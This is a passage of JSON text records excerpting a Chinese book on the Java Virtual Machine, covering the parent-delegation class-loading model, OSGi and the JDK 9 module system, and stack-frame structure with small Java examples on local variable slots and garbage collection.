    {"text": "双亲委派模型对于保证Java程序的稳定运作极为重要，但它的实现却异常简单，用以实现双亲委派的代码只有短短十余行，全部集中在java.lang.ClassLoader的loadClass()方法之中，如代码清单7-10所示。 代码清单7-10 双亲委派模型的实现 protected synchronized Class<?> loadClass(String name, boolean resolve) throws ClassNotFoundException { // 首先，检查请求的类是否已经被加载过了 Class c = findLoadedClass(name); if (c == null) { try { if (parent != null) { c = parent.loadClass(name, false); } else { c = findBootstrapClassOrNull(name); } } catch (ClassNotFoundException e) { // 如果父类加载器抛出ClassNotFoundException // 说明父类加载器无法完成加载请求 } if (c == null) { // 在父类加载器无法加载时 // 再调用本身的findClass方法来进行类加载 c = findClass(name); } } if (resolve) { resolveClass(c); } return c; } 这段代码的逻辑清晰易懂：先检查请求加载的类型是否已经被加载过，若没有则调用父加载器的loadClass()方法，若父加载器为空则默认使用启动类加载器作为父加载器。 假如父类加载器加载失败，抛出ClassNotFoundException异常的话，才调用自己的findClass()方法尝试进行加载。"},
    {"text": "[1] 这里只限于HotSpot，像MRP、Maxine这些虚拟机，整个虚拟机本身都是由Java编写的，自然Boot-strap ClassLoader也是由Java语言而不是C++实现的。 退一步说，除了HotSpot外的其他两个高性能虚拟机JRockit和J9都有一个代表Bootstrap ClassLoader的Java类存在，但是关键方法的实现仍然是使用JNI回调到C（而不是C++）的实现上，这个Bootstrap ClassLoader的实例也无法被用户获取到。 在JDK 9以后，HotSpot虚拟机也采用了类似的虚拟机与Java类互相配合来实现Bootstrap ClassLoader的方式，所以在JDK 9后HotSpot也有一个无法获取实例的代表Bootstrap ClassLoader的Java类存在了。"},
    {"text": "7.4.3 破坏双亲委派模型 上文提到过双亲委派模型并不是一个具有强制性约束的模型，而是Java设计者推荐给开发者们的类加载器实现方式。 在Java的世界中大部分的类加载器都遵循这个模型，但也有例外的情况，直到Java模块化出现为止，双亲委派模型主要出现过3次较大规模“被破坏”的情况。 双亲委派模型的第一次“被破坏”其实发生在双亲委派模型出现之前——即JDK 1.2面世以前的“远古”时代。 由于双亲委派模型在JDK 1.2之后才被引入，但是类加载器的概念和抽象类java.lang.ClassLoader则在Java的第一个版本中就已经存在，面对已经存在的用户自定义类加载器的代码，Java设计者们引入双亲委派模型时不得不做出一些妥协，为了兼容这些已有代码，无法再以技术手段避免loadClass()被子类覆盖的可能性，只能在JDK 1.2之后的java.lang.ClassLoader中添加一个新的protected方法findClass()，并引导用户编写的类加载逻辑时尽可能去重写这个方法，而不是在loadClass()中编写代码。 上节我们已经分析过loadClass()方法，双亲委派的具体逻辑就实现在这里面，按照loadClass()方法的逻辑，如果父类加载失败，会自动调用自己的findClass()方法来完成加载，这样既不影响用户按照自己的意愿去加载类，又可以保证新写出来的类加载器是符合双亲委派规则的。 双亲委派模型的第二次“被破坏”是由这个模型自身的缺陷导致的，双亲委派很好地解决了各个类加载器协作时基础类型的一致性问题（越基础的类由越上层的加载器进行加载），基础类型之所以被称为“基础”，是因为它们总是作为被用户代码继承、调用的API存在，但程序设计往往没有绝对不变的完美规则，如果有基础类型又要调用回用户的代码，那该怎么办呢？"},
    {"text": "这并非是不可能出现的事情，一个典型的例子便是JNDI服务，JNDI现在已经是Java的标准服务，它的代码由启动类加载器来完成加载（在JDK 1.3时加入到rt.jar的），肯定属于Java中很基础的类型了。 但JNDI存在的目的就是对资源进行查找和集中管理，它需要调用由其他厂商实现并部署在应用程序的ClassPath下的JNDI服务提供者接口（Service Provider Interface，SPI）的代码，现在问题来了，启动类加载器是绝不可能认识、加载这些代码的，那该怎么办？"},
    {"text": "为了解决这个困境，Java的设计团队只好引入了一个不太优雅的设计：线程上下文类加载器（Thread Context ClassLoader）。 这个类加载器可以通过java.lang.Thread类的setContext-ClassLoader()方法进行设置，如果创建线程时还未设置，它将会从父线程中继承一个，如果在应用程序的全局范围内都没有设置过的话，那这个类加载器默认就是应用程序类加载器。"},
    {"text": "JNDI服务使用这个线程上下文类加载器去加载所需的SPI服务代码，这是一种父类加载器去请求子类加载器完成类加载的行为，这种行为实际上是打通了双亲委派模型的层次结构来逆向使用类加载器，已经违背了双亲委派模型的一般性原则，但也是无可奈何的事情。"},
    {"text": "Java中涉及SPI的加载基本上都采用这种方式来完成，例如JNDI、JDBC、JCE、JAXB和JBI等。 不过，当SPI的服务提供者多于一个的时候，代码就只能根据具体提供者的类型来硬编码判断，为了消除这种极不优雅的实现方式，在JDK 6时，JDK提供了java.util.ServiceLoader类，以META-INF/services中的配置信息，辅以责任链模式，这才算是给SPI的加载提供了一种相对合理的解决方案。"},
    {"text": "双亲委派模型的第三次“被破坏”是由于用户对程序动态性的追求而导致的，这里所说的“动态性”指的是一些非常“热”门的名词：代码热替换（Hot Swap）、模块热部署（Hot Deployment）等。"},
    {"text": "说白了就是希望Java应用程序能像我们的电脑外设那样，接上鼠标、U盘，不用重启机器就能立即使用，鼠标有问题或要升级就换个鼠标，不用关机也不用重启。"},
    {"text": "对于个人电脑来说，重启一次其实没有什么大不了的，但对于一些生产系统来说，关机重启一次可能就要被列为生产事故，这种情况下热部署就对软件开发者，尤其是大型系统或企业级软件开发者具有很大的吸引力。"},
    {"text": "早在2008年，在Java社区关于模块化规范的第一场战役里，由Sun/Oracle公司所提出的JSR-294 [1] 、JSR-277 [2] 规范提案就曾败给以IBM公司主导的JSR-291（即OSGi R4.2）提案。 尽管Sun/Oracle并不甘心就此失去Java模块化的主导权，随即又再拿出Jigsaw项目迎战，但此时OSGi已经站稳脚跟，成为业界“事实上”的Java模块化标准 [3] 。 曾经在很长一段时间内，IBM凭借着OSGi广泛应用基础让Jigsaw吃尽苦头，其影响一直持续到Jigsaw随JDK 9面世才算告一段落。 而且即使Jigsaw现在已经是Java的标准功能了，它仍需小心翼翼地避开OSGi运行期动态热部署上的优势，仅局限于静态地解决模块间封装隔离和访问控制的问题，这部分内容笔者在7.5节中会继续讲解，现在我们先来简单看一看OSGi是如何通过类加载器实现热部署的。 OSGi实现模块化热部署的关键是它自定义的类加载器机制的实现，每一个程序模块（OSGi中称为Bundle）都有一个自己的类加载器，当需要更换一个Bundle时，就把Bundle连同类加载器一起换掉以实现代码的热替换。 在OSGi环境下，类加载器不再双亲委派模型推荐的树状结构，而是进一步发展为更加复杂的网状结构，当收到类加载请求时，OSGi将按照下面的顺序进行类搜索： 1）将以java.*开头的类，委派给父类加载器加载。"},
    {"text": "2）否则，将委派列表名单内的类，委派给父类加载器加载。 3）否则，将Import列表中的类，委派给Export这个类的Bundle的类加载器加载。 4）否则，查找当前Bundle的ClassPath，使用自己的类加载器加载。 5）否则，查找类是否在自己的Fragment Bundle中，如果在，则委派给Fragment Bundle的类加载器加载。 6）否则，查找Dynamic Import列表的Bundle，委派给对应Bundle的类加载器加载。"},
    {"text": "上面的查找顺序中只有开头两点仍然符合双亲委派模型的原则，其余的类查找都是在平级的类加载器中进行的，关于OSGi的其他内容，笔者就不再展开了。"},
    {"text": "正如OSGi中的类加载器的设计不符合传统的双亲委派的类加载器架构，且业界对其为了实现热部署而带来的额外的高复杂度还存在不少争议，但对这方面有了解的技术人员基本还是能达成一个共识，认为OSGi中对类加载器的运用是值得学习的，完全弄懂了OSGi的实现，就算是掌握了类加载器的精粹。"},
    {"text": "7.5 Java模块化系统 在JDK 9中引入的Java模块化系统（Java Platform Module System，JPMS）是对Java技术的一次重要升级，为了能够实现模块化的关键目标——可配置的封装隔离机制，Java虚拟机对类加载架构也做出了相应的变动调整，才使模块化系统得以顺利地运作。JDK 9的模块不仅仅像之前的JAR包那样只是简单地充当代码的容器，除了代码外，Java的模块定义还包含以下内容： ·依赖其他模块的列表。 ·导出的包列表，即其他模块可以使用的列表。 ·开放的包列表，即其他模块可反射访问模块的列表。 ·使用的服务列表。 ·提供服务的实现列表。 可配置的封装隔离机制首先要解决JDK 9之前基于类路径（ClassPath）来查找依赖的可靠性问题。此前，如果类路径中缺失了运行时依赖的类型，那就只能等程序运行到发生该类型的加载、链接时才会报出运行的异常。而在JDK 9以后，如果启用了模块化进行封装，模块就可以声明对其他模块的显式依赖，这样Java虚拟机就能够在启动时验证应用程序开发阶段设定好的依赖关系在运行期是否完备，如有缺失那就直接启动失败，从而避免了很大一部分 [1] 由于类型依赖而引发的运行时异常。 可配置的封装隔离机制还解决了原来类路径上跨JAR文件的public类型的可访问性问题。JDK 9中的public类型不再意味着程序的所有地方的代码都可以随意访问到它们，模块提供了更精细的可访问性控制，必须明确声明其中哪一些public的类型可以被其他哪一些模块访问，这种访问控制也主要是在类加载过程中完成的，具体内容笔者在前文对解析阶段的讲解中已经介绍过。 [1] 并不是说模块化下就不可能出现ClassNotFoundExcepiton这类异常了，假如将某个模块中的、原本公开的包中把某些类型移除，但不修改模块的导出信息，这样程序能够顺利启动，但仍然会在运行期出现类加载异常。"},
    {"text": "7.5.1 模块的兼容性 为了使可配置的封装隔离机制能够兼容传统的类路径查找机制，JDK 9提出了与“类路径”（ClassPath）相对应的“模块路径”（ModulePath）的概念。"},
    {"text": "简单来说，就是某个类库到底是模块还是传统的JAR包，只取决于它存放在哪种路径上。 只要是放在类路径上的JAR文件，无论其中是否包含模块化信息（是否包含了module-info.class文件），它都会被当作传统的JAR包来对待； 相应地，只要放在模块路径上的JAR文件，即使没有使用JMOD后缀，甚至说其中并不包含module-info.class文件，它也仍然会被当作一个模块来对待。"},
    {"text": "模块化系统将按照以下规则来保证使用传统类路径依赖的Java程序可以不经修改地直接运行在JDK 9及以后的Java版本上，即使这些版本的JDK已经使用模块来封装了Java SE的标准类库，模块化系统的这套规则也仍然保证了传统程序可以访问到所有标准类库模块中导出的包。"},
    {"text": "·JAR文件在类路径的访问规则：所有类路径下的JAR文件及其他资源文件，都被视为自动打包在一个匿名模块（Unnamed Module）里，这个匿名模块几乎是没有任何隔离的，它可以看到和使用类路径上所有的包、JDK系统模块中所有的导出包，以及模块路径上所有模块中导出的包。 ·模块在模块路径的访问规则：模块路径下的具名模块（Named Module）只能访问到它依赖定义中列明依赖的模块和包，匿名模块里所有的内容对具名模块来说都是不可见的，即具名模块看不见传统JAR包的内容。 ·JAR文件在模块路径的访问规则：如果把一个传统的、不包含模块定义的JAR文件放置到模块路径中，它就会变成一个自动模块（Automatic Module）。 尽管不包含module-info.class，但自动模块将默认依赖于整个模块路径中的所有模块，因此可以访问到所有模块导出的包，自动模块也默认导出自己所有的包。"},
    {"text": "以上3条规则保证了即使Java应用依然使用传统的类路径，升级到JDK 9对应用来说几乎（类加载器上的变动还是可能会导致少许可见的影响，将在下节介绍）不会有任何感觉，项目也不需要专门为了升级JDK版本而去把传统JAR包升级成模块。"},
    {"text": "除了向后兼容性外，随着JDK 9模块化系统的引入，更值得关注的是它本身面临的模块间的管理和兼容性问题：如果同一个模块发行了多个不同的版本，那只能由开发者在编译打包时人工选择好正确版本的模块来保证依赖的正确性。"},
    {"text": "我们不论是在Java命令、Java类库的API抑或是《Java虚拟机规范》定义的Class文件格式里都能轻易地找到证据，表明模块版本应是编译、加载、运行期间都可以使用的。 譬如输入“java--list-modules”，会得到明确带着版本号的模块列表： java.base@12.0.1 java.compiler@12.0.1 java.datatransfer@12.0.1 java.desktop@12.0.1 java.instrument@12.0.1 java.logging@12.0.1 java.management@12.0.1 .... 在JDK 9时加入Class文件格式的Module属性，里面有module_version_index这样的字段，用户可以在编译时使用“javac--module-version”来指定模块版本，在Java类库API中也存在java.lang.module.ModuleDescriptor.Version这样的接口可以在运行时获取到模块的版本号。"},
    {"text": "而官方却在Jigsaw的规范文件、JavaOne大会的宣讲和与专家的讨论列表中，都反复强调“JPMS的目的不是代替OSGi”，“JPMS不支持模块版本”这样的话语，如图7-3所示。"},
    {"text": "但结合JCP执行委员会关于的Jigsaw投票中Oracle与IBM、RedHat的激烈冲突 [2] ，实在很难让人信服这种设计只是单纯地基于技术原因，而不是厂家之间互相博弈妥协的结果。"},
    {"text": "Jigsaw仿佛在刻意地给OSGi让出一块生存空间，以换取IBM支持或者说不去反对Jigsaw，其代价就是几乎宣告Java模块化系统不可能拥有像OSGi那样支持多版本模块并存、支持运行时热替换、热部署模块的能力，可这却往往是一个应用进行模块化的最大驱动力所在。"},
    {"text": "其实Java虚拟机内置的JVMTI接口（java.lang.instrument.Instrumentation）提供了一定程度的运行时修改类的能力（RedefineClass、RetransformClass），但这种修改能力会受到很多限制 [3] ，不可能直接用来实现OSGi那样的热替换和多版本并存，用在IntelliJ IDE、Eclipse这些IDE上做HotSwap（是指IDE编辑方法的代码后不需要重启即可生效）倒是非常的合适。"},
    {"text": "也曾经有一个研究性项目Dynamic Code Evolution VM（DECVM）探索过在虚拟机内部支持运行时类型替换的可行性，允许任意修改已加载到内存中的Class，并不损失任何性能，但可惜已经很久没有更新了，最新版只支持到JDK 7。"},
    {"text": "7.5.2 模块化下的类加载器 为了保证兼容性，JDK 9并没有从根本上动摇从JDK 1.2以来运行了二十年之久的三层类加载器架构以及双亲委派模型。但是为了模块化系统的顺利施行，模块化下的类加载器仍然发生了一些应该被注意到变动，主要包括以下几个方面。 首先，是扩展类加载器（Extension Class Loader）被平台类加载器（Platform Class Loader）取代。这其实是一个很顺理成章的变动，既然整个JDK都基于模块化进行构建（原来的rt.jar和tools.jar被拆分成数十个JMOD文件），其中的Java类库就已天然地满足了可扩展的需求，那自然无须再保留<JAVA_HOME>\\lib\\ext目录，此前使用这个目录或者java.ext.dirs系统变量来扩展JDK功能的机制已经没有继续存在的价值了，用来加载这部分类库的扩展类加载器也完成了它的历史使命。类似地，在新版的JDK中也取消了<JAVA_HOME>\\jre目录，因为随时可以组合构建出程序运行所需的JRE来，譬如假设我们只使用java.base模块中的类型，那么随时可以通过以下命令打包出一个“JRE”： jlink -p $JAVA_HOME/jmods --add-modules java.base --output jre 其次，平台类加载器和应用程序类加载器都不再派生自java.net.URLClassLoader，如果有程序直接依赖了这种继承关系，或者依赖了URLClassLoader类的特定方法，那代码很可能会在JDK 9及更高版本的JDK中崩溃。现在启动类加载器、平台类加载器、应用程序类加载器全都继承于jdk.internal.loader.BuiltinClassLoader，在BuiltinClassLoader中实现了新的模块化架构下类如何从模块中加载的逻辑，以及模块中资源可访问性的处理。两者的前后变化如图7-5和7-6所示。 图7-5 JDK 9之前的类加载器继承架构 图7-6 JDK 9及以后的类加载器继承架构 另外，读者可能已经注意到图7-6中有“BootClassLoader”存在，启动类加载器现在是在Java虚拟机内部和Java类库共同协作实现的类加载器，尽管有了BootClassLoader这样的Java类，但为了与之前的代码保持兼容，所有在获取启动类加载器的场景（譬如Object.class.getClassLoader()）中仍然会返回null来代替，而不会得到BootClassLoader的实例。 图7-7 JDK 9后的类加载器委派关系 最后，JDK 9中虽然仍然维持着三层类加载器和双亲委派的架构，但类加载的委派关系也发生了变动。当平台及应用程序类加载器收到类加载请求，在委派给父加载器加载前，要先判断该类是否能够归属到某一个系统模块中，如果可以找到这样的归属关系，就要优先委派给负责那个模块的加载器完成加载，也许这可以算是对双亲委派的第四次破坏。在JDK 9以后的三层类加载器的架构如图7-7所示，请读者对照图7-2进行比较。 在Java模块化系统明确规定了三个类加载器负责各自加载的模块，即前面所说的归属关系，如下所示。 ·启动类加载器负责加载的模块： java.base java.security.sasl java.datatransfer java.xml java.desktop jdk.httpserver java.instrument jdk.internal.vm.ci java.logging jdk.management java.management jdk.management.agent java.management.rmi jdk.naming.rmi java.naming jdk.net java.prefs jdk.sctp java.rmi jdk.unsupported ·平台类加载器负责加载的模块： java.activation* jdk.accessibility java.compiler* jdk.charsets java.corba* jdk.crypto.cryptoki java.scripting jdk.crypto.ec java.se jdk.dynalink java.se.ee jdk.incubator.httpclient java.security.jgss jdk.internal.vm.compiler* java.smartcardio jdk.jsobject java.sql jdk.localedata java.sql.rowset jdk.naming.dns java.transaction* jdk.scripting.nashorn java.xml.bind* jdk.security.auth java.xml.crypto jdk.security.jgss java.xml.ws* jdk.xml.dom java.xml.ws.annotation* jdk.zipfs ·应用程序类加载器负责加载的模块： jdk.aot jdk.jdeps jdk.attach jdk.jdi jdk.compiler jdk.jdwp.agent jdk.editpad jdk.jlink jdk.hotspot.agent jdk.jshell jdk.internal.ed jdk.jstatd jdk.internal.jvmstat jdk.pack jdk.internal.le jdk.policytool jdk.internal.opt jdk.rmic jdk.jartool jdk.scripting.nashorn.shell jdk.javadoc jdk.xml.bind* jdk.jcmd jdk.xml.ws* jdk.jconsole 7.6 本章小结 本章介绍了类加载过程的“加载”“验证”“准备”“解析”和“初始化”这5个阶段中虚拟机进行了哪些动作，还介绍了类加载器的工作原理及其对虚拟机的意义。 经过第6、7章的讲解，相信读者已经对如何在Class文件中定义类，以及如何将类加载到虚拟机之中这两个问题有了一个比较系统的了解，第8章我们将探索Java虚拟机的执行引擎，一起来看看虚拟机如何执行定义在Class文件里的字节码。 第8章 虚拟机字节码执行引擎 代码编译的结果从本地机器码转变为字节码，是存储格式发展的一小步，却是编程语言发展的一大步。"},
    {"text": "8.1 概述 执行引擎是Java虚拟机核心的组成部分之一。“虚拟机”是一个相对于“物理机”的概念，这两种机器都有代码执行能力，其区别是物理机的执行引擎是直接建立在处理器、缓存、指令集和操作系统层面上的，而虚拟机的执行引擎则是由软件自行实现的，因此可以不受物理条件制约地定制指令集与执行引擎的结构体系，能够执行那些不被硬件直接支持的指令集格式。 在《Java虚拟机规范》中制定了Java虚拟机字节码执行引擎的概念模型，这个概念模型成为各大发行商的Java虚拟机执行引擎的统一外观（Facade）。在不同的虚拟机实现中，执行引擎在执行字节码的时候，通常会有解释执行（通过解释器执行）和编译执行（通过即时编译器产生本地代码执行）两种选择 [1] ，也可能两者兼备，还可能会有同时包含几个不同级别的即时编译器一起工作的执行引擎。但从外观上来看，所有的Java虚拟机的执行引擎输入、输出都是一致的：输入的是字节码二进制流，处理过程是字节码解析执行的等效过程，输出的是执行结果，本章将主要从概念模型的角度来讲解虚拟机的方法调用和字节码执行。 [1] 有一些虚拟机（如Sun Classic VM）的内部只存在解释器，只能解释执行，另外一些虚拟机（如BEA JRockit）的内部只存在即时编译器，只能编译执行。 8.2 运行时栈帧结构 Java虚拟机以方法作为最基本的执行单元，“栈帧”（Stack Frame）则是用于支持虚拟机进行方法调用和方法执行背后的数据结构，它也是虚拟机运行时数据区中的虚拟机栈（Virtual Machine Stack） [1] 的栈元素。栈帧存储了方法的局部变量表、操作数栈、动态连接和方法返回地址等信息，如果读者认真阅读过第6章，应该能从Class文件格式的方法表中找到以上大多数概念的静态对照物。每一个方法从调用开始至执行结束的过程，都对应着一个栈帧在虚拟机栈里面从入栈到出栈的过程。 每一个栈帧都包括了局部变量表、操作数栈、动态连接、方法返回地址和一些额外的附加信息。在编译Java程序源码的时候，栈帧中需要多大的局部变量表，需要多深的操作数栈就已经被分析计算出来，并且写入到方法表的Code属性之中 [2] 。换言之，一个栈帧需要分配多少内存，并不会受到程序运行期变量数据的影响，而仅仅取决于程序源码和具体的虚拟机实现的栈内存布局形式。 一个线程中的方法调用链可能会很长，以Java程序的角度来看，同一时刻、同一条线程里面，在调用堆栈的所有方法都同时处于执行状态。而对于执行引擎来讲，在活动线程中，只有位于栈顶的方法才是在运行的，只有位于栈顶的栈帧才是生效的，其被称为“当前栈帧”（Current Stack Frame），与这个栈帧所关联的方法被称为“当前方法”（Current Method）。执行引擎所运行的所有字节码指令都只针对当前栈帧进行操作，在概念模型上，典型的栈帧结构如图8-1所示。 图8-1所示的就是虚拟机栈和栈帧的总体结构，接下来，我们将会详细了解栈帧中的局部变量表、操作数栈、动态连接、方法返回地址等各个部分的作用和数据结构。 [1] 详细内容请参见2.2节的相关内容。 [2] 详细内容请参见6.3.7节的相关内容。"},
    {"text": "局部变量表的容量以变量槽（Variable Slot）为最小单位，《Java虚拟机规范》中并没有明确指出一个变量槽应占用的内存空间大小，只是很有导向性地说到每个变量槽都应该能存放一个boolean、byte、char、short、int、float、reference或returnAddress类型的数据，这8种数据类型，都可以使用32位或更小的物理内存来存储，但这种描述与明确指出“每个变量槽应占用32位长度的内存空间”是有本质差别的，它允许变量槽的长度可以随着处理器、操作系统或虚拟机实现的不同而发生变化，保证了即使在64位虚拟机中使用了64位的物理内存空间去实现一个变量槽，虚拟机仍要使用对齐和补白的手段让变量槽在外观上看起来与32位虚拟机中的一致。"},
    {"text": "一个变量槽可以存放一个32位以内的数据类型，Java中占用不超过32位存储空间的数据类型有boolean、byte、char、short、int、float、reference [1] 和returnAddress这8种类型。"},
    {"text": "前面6种不需要多加解释，读者可以按照Java语言中对应数据类型的概念去理解它们（仅是这样理解而已，Java语言和Java虚拟机中的基本数据类型是存在本质差别的），而第7种reference类型表示对一个对象实例的引用，《Java虚拟机规范》既没有说明它的长度，也没有明确指出这种引用应有怎样的结构。 但是一般来说，虚拟机实现至少都应当能通过这个引用做到两件事情，一是从根据引用直接或间接地查找到对象在Java堆中的数据存放的起始地址或索引，二是根据引用直接或间接地查找到对象所属数据类型在方法区中的存储的类型信息，否则将无法实现《Java语言规范》中定义的语法约定 [2] 。"},
    {"text": "第8种returnAddress类型目前已经很少见了，它是为字节码指令jsr、jsr_w和ret服务的，指向了一条字节码指令的地址，某些很古老的Java虚拟机曾经使用这几条指令来实现异常处理时的跳转，但现在也已经全部改为采用异常表来代替了。"},
    {"text": "对于64位的数据类型，Java虚拟机会以高位对齐的方式为其分配两个连续的变量槽空间。 Java语言中明确的64位的数据类型只有long和double两种。 这里把long和double数据类型分割存储的做法与“long和double的非原子性协定”中允许把一次long和double数据类型读写分割为两次32位读写的做法有些类似，读者阅读到本书关于Java内存模型的内容 [3] 时可以进行对比。"},
    {"text": "不过，由于局部变量表是建立在线程堆栈中的，属于线程私有的数据，无论读写两个连续的变量槽是否为原子操作，都不会引起数据竞争和线程安全问题。"},
    {"text": "如果访问的是32位数据类型的变量，索引N就代表了使用第N个变量槽，如果访问的是64位数据类型的变量，则说明会同时使用第N和N+1两个变量槽。"},
    {"text": "对于两个相邻的共同存放一个64位数据的两个变量槽，虚拟机不允许采用任何方式单独访问其中的某一个，《Java虚拟机规范》中明确要求了如果遇到进行这种操作的字节码序列，虚拟机就应该在类加载的校验阶段中抛出异常。"},
    {"text": "当一个方法被调用时，Java虚拟机会使用局部变量表来完成参数值到参数变量列表的传递过程，即实参到形参的传递。 如果执行的是实例方法（没有被static修饰的方法），那局部变量表中第0位索引的变量槽默认是用于传递方法所属对象实例的引用，在方法中可以通过关键字“this”来访问到这个隐含的参数。 其余参数则按照参数表顺序排列，占用从1开始的局部变量槽，参数表分配完毕后，再根据方法体内部定义的变量顺序和作用域分配其余的变量槽。 为了尽可能节省栈帧耗用的内存空间，局部变量表中的变量槽是可以重用的，方法体中定义的变量，其作用域并不一定会覆盖整个方法体，如果当前字节码PC计数器的值已经超出了某个变量的作用域，那这个变量对应的变量槽就可以交给其他变量来重用。"},
    {"text": "不过，这样的设计除了节省栈帧空间以外，还会伴随有少量额外的副作用，例如在某些情况下变量槽的复用会直接影响到系统的垃圾收集行为，请看代码清单8-1、代码清单8-2和代码清单8-3的3个演示。 代码清单8-1 局部变量表槽复用对垃圾收集的影响之一 public static void main(String[] args)() { byte[] placeholder = new byte[64 * 1024 * 1024]; System.gc(); } 代码清单8-1中的代码很简单，向内存填充了64MB的数据，然后通知虚拟机进行垃圾收集。 我们在虚拟机运行参数中加上“-verbose：gc”来看看垃圾收集的过程，发现在System.gc()运行后并没有回收掉这64MB的内存，下面是运行的结果： [GC 66846K->65824K(125632K), 0.0032678 secs] [Full GC 65824K->65746K(125632K), 0.0064131 secs] 代码清单8-1的代码没有回收掉placeholder所占的内存是能说得过去，因为在执行System.gc()时，变量placeholder还处于作用域之内，虚拟机自然不敢回收掉placeholder的内存。"},
    {"text": "代码清单8-2 局部变量表Slot复用对垃圾收集的影响之二 public static void main(String[] args)() { { byte[] placeholder = new byte[64 * 1024 * 1024]; } System.gc(); } 加入了花括号之后，placeholder的作用域被限制在花括号以内，从代码逻辑上讲，在执行System.gc()的时候，placeholder已经不可能再被访问了，但执行这段程序，会发现运行结果如下，还是有64MB的内存没有被回收掉，这又是为什么呢？"},
    {"text": "[GC 66846K->65888K(125632K), 0.0009397 secs] [Full GC 65888K->65746K(125632K), 0.0051574 secs] 在解释为什么之前，我们先对这段代码进行第二次修改，在调用System.gc()之前加入一行“int a=0；"},
    {"text": "代码清单8-3 局部变量表Slot复用对垃圾收集的影响之三 public static void main(String[] args)() { { byte[] placeholder = new byte[64 * 1024 * 1024]; } int a = 0; System.gc(); } 这个修改看起来很莫名其妙，但运行一下程序，却发现这次内存真的被正确回收了： [GC 66401K->65778K(125632K), 0.0035471 secs] [Full GC 65778K->218K(125632K), 0.0140596 secs] 代码清单8-1至8-3中，placeholder能否被回收的根本原因就是：局部变量表中的变量槽是否还存有关于placeholder数组对象的引用。 第一次修改中，代码虽然已经离开了placeholder的作用域，但在此之后，再没有发生过任何对局部变量表的读写操作，placeholder原本所占用的变量槽还没有被其他变量所复用，所以作为GC Roots一部分的局部变量表仍然保持着对它的关联。"},
    {"text": "但如果遇到一个方法，其后面的代码有一些耗时很长的操作，而前面又定义了占用了大量内存但实际上已经不会再使用的变量，手动将其设置为null值（用来代替那句int a=0，把变量对应的局部变量槽清空）便不见得是一个绝对无意义的操作，这种操作可以作为一种在极特殊情形（对象占用内存大、此方法的栈帧长时间不能被回收、方法调用次数达不到即时编译器的编译条件）下的“奇技”来使用。 Java语言的一本非常著名的书籍《Practical Java》中将把“不使用的对象应手动赋值为null”作为一条推荐的编码规则（笔者并不认同这条规则），但是并没有解释具体原因，很长时间里都有读者对这条规则感到疑惑。 虽然代码清单8-1至8-3的示例说明了赋null操作在某些极端情况下确实是有用的，但笔者的观点是不应当对赋null值操作有什么特别的依赖，更没有必要把它当作一个普遍的编码规则来推广。 原因有两点，从编码角度讲，以恰当的变量作用域来控制变量回收时间才是最优雅的解决方法，如代码清单8-3那样的场景除了做实验外几乎毫无用处。 更关键的是，从执行角度来讲，使用赋null操作来优化内存回收是建立在对字节码执行引擎概念模型的理解之上的，在第6章介绍完字节码之后，笔者在末尾还撰写了一个小结“公有设计、私有实现”（6.5节）来强调概念模型与实际执行过程是外部看起来等效，内部看上去则可以完全不同。"},
    {"text": "当虚拟机使用解释器执行时，通常与概念模型还会比较接近，但经过即时编译器施加了各种编译优化措施以后，两者的差异就会非常大，只保证程序执行的结果与概念一致。"},
    {"text": "在实际情况中，即时编译才是虚拟机执行代码的主要方式，赋null值的操作在经过即时编译优化后几乎是一定会被当作无效操作消除掉的，这时候将变量设置为null就是毫无意义的行为。"},
    {"text": "字节码被即时编译为本地代码后，对GC Roots的枚举也与解释执行时期有显著差别，以前面的例子来看，经过第一次修改的代码清单8-2在经过即时编译后，System.gc()执行时就可以正确地回收内存，根本无须写成代码清单8-3的样子。"},
    {"text": "如代码清单8-4所示，这段代码在Java中其实并不能运行（但是在其他语言，譬如C和C++中类似的代码是可以运行的），所幸编译器能在编译期间就检查到并提示出这一点，即便编译能通过或者手动生成字节码的方式制造出下面代码的效果，字节码校验的时候也会被虚拟机发现而导致类加载失败。"},
    {"text": "代码清单8-4 未赋值的局部变量 public static void main(String[] args) { int a; System.out.println(a); } [1] Java虚拟机规范中没有明确规定reference类型的长度，它的长度与实际使用32位还是64位虚拟机有关，如果是64位虚拟机，还与是否开启某些对象指针压缩的优化有关，这里我们暂且只取32位虚拟机的reference长度。"},
    {"text": "[2] 并不是所有语言的对象引用都能满足这两点，例如C++语言，默认情况下（不开启RTTI支持的情况），就只能满足第一点，而不满足第二点。"},
    {"text": "8.2.2 操作数栈 操作数栈（Operand Stack）也常被称为操作栈，它是一个后入先出（Last In First Out，LIFO）栈。同局部变量表一样，操作数栈的最大深度也在编译的时候被写入到Code属性的max_stacks数据项之中。操作数栈的每一个元素都可以是包括long和double在内的任意Java数据类型。32位数据类型所占的栈容量为1，64位数据类型所占的栈容量为2。Javac编译器的数据流分析工作保证了在方法执行的任何时候，操作数栈的深度都不会超过在max_stacks数据项中设定的最大值。 当一个方法刚刚开始执行的时候，这个方法的操作数栈是空的，在方法的执行过程中，会有各种字节码指令往操作数栈中写入和提取内容，也就是出栈和入栈操作。譬如在做算术运算的时候是通过将运算涉及的操作数栈压入栈顶后调用运算指令来进行的，又譬如在调用其他方法的时候是通过操作数栈来进行方法参数的传递。举个例子，例如整数加法的字节码指令iadd，这条指令在运行的时候要求操作数栈中最接近栈顶的两个元素已经存入了两个int型的数值，当执行这个指令时，会把这两个int值出栈并相加，然后将相加的结果重新入栈。 操作数栈中元素的数据类型必须与字节码指令的序列严格匹配，在编译程序代码的时候，编译器必须要严格保证这一点，在类校验阶段的数据流分析中还要再次验证这一点。再以上面的iadd指令为例，这个指令只能用于整型数的加法，它在执行时，最接近栈顶的两个元素的数据类型必须为int型，不能出现一个long和一个float使用iadd命令相加的情况。 另外在概念模型中，两个不同栈帧作为不同方法的虚拟机栈的元素，是完全相互独立的。但是在大多虚拟机的实现里都会进行一些优化处理，令两个栈帧出现一部分重叠。让下面栈帧的部分操作数栈与上面栈帧的部分局部变量表重叠在一起，这样做不仅节约了一些空间，更重要的是在进行方法调用时就可以直接共用一部分数据，无须进行额外的参数复制传递了，重叠的过程如图8-2所示。 Java虚拟机的解释执行引擎被称为“基于栈的执行引擎”，里面的“栈”就是操作数栈。后文会对基于栈的代码执行过程进行更详细的讲解，介绍它与更常见的基于寄存器的执行引擎有哪些差别。 图8-2 两个栈帧之间的数据共享 8.2.3 动态连接 每个栈帧都包含一个指向运行时常量池 [1] 中该栈帧所属方法的引用，持有这个引用是为了支持方法调用过程中的动态连接（Dynamic 